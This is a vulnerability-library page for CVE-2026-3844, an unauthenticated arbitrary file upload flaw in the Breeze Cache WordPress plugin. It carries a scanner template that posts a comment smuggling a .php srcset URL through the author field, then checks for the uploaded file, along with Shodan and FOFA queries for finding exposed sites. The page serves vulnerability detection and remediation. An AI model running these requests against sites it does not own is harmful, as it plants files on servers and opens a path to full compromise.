/Vulnerability Library

Breeze <= 2.4.4 - Arbitrary File Upload

CVE-2026-3844
Verified

Description

Breeze Cache WordPress plugin <= 2.4.4 contains an unrestricted file upload vulnerability caused by missing file type validation in 'fetch_gravatar_from_remote' function, letting unauthenticated attackers upload arbitrary files, exploit requires 'Host Files Locally - Gravatars' enabled.

Severity

Critical

CVSS Score

9.8

Exploit Probability

37%

Published Date

April 23, 2026

Template Author

theamanrawat, ritikchaddha

CVE-2026-3844.yaml
id: CVE-2026-3844

info:
  name: Breeze <= 2.4.4 - Arbitrary File Upload
  author: theamanrawat,ritikchaddha
  severity: critical
  description: |
    Breeze Cache WordPress plugin <= 2.4.4 contains an unrestricted file upload vulnerability caused by missing file type validation in 'fetch_gravatar_from_remote' function, letting unauthenticated attackers upload arbitrary files, exploit requires 'Host Files Locally - Gravatars' enabled.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version where this vulnerability is fixed.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3844
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-3844
    epss-score: 0.36512
    epss-percentile: 0.98303
    cwe-id: CWE-434
  metadata:
    max-request: 4
    verified: true
    shodan-query: http.html:"/wp-content/plugins/breeze/"
    fofa-query: body="/wp-content/plugins/breeze/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,breeze,file-upload,rce,vkev

variables:
  marker: "{{randstr}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-comments-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        comment_post_ID=1&author=x+srcset%3Dhttp%3A%2F%2Foast.me%2F{{marker}}.php&email=breeze{{marker}}%40test.com&comment=breeze+vuln+test+{{marker}}&submit=Post+Comment

    extractors:
      - type: regex
        name: redirect_path
        part: header_1
        group: 1
        regex:
          - 'Location: https?://[^/]+(/.+)'
        internal: true

  - raw:
      - |
        GET {{redirect_path}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "srcset=https://oast.me")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/cache/breeze-extra/gravatars/{{marker}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<html><head></head><body></body></html>")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100d4b281f718c2e17747719d22b712b42e652c60c1fa9dc5a6a64508dd364e2a5a022100c94026abd03df7a00909bfedfdc6d4933a00d5b1363e9ad50c63e477c8874c88:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-3844
CWE ID:
cwe-434

References

https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerabilityhttps://nvd.nist.gov/vuln/detail/CVE-2026-3844

Remediation Steps

Update to the latest version where this vulnerability is fixed.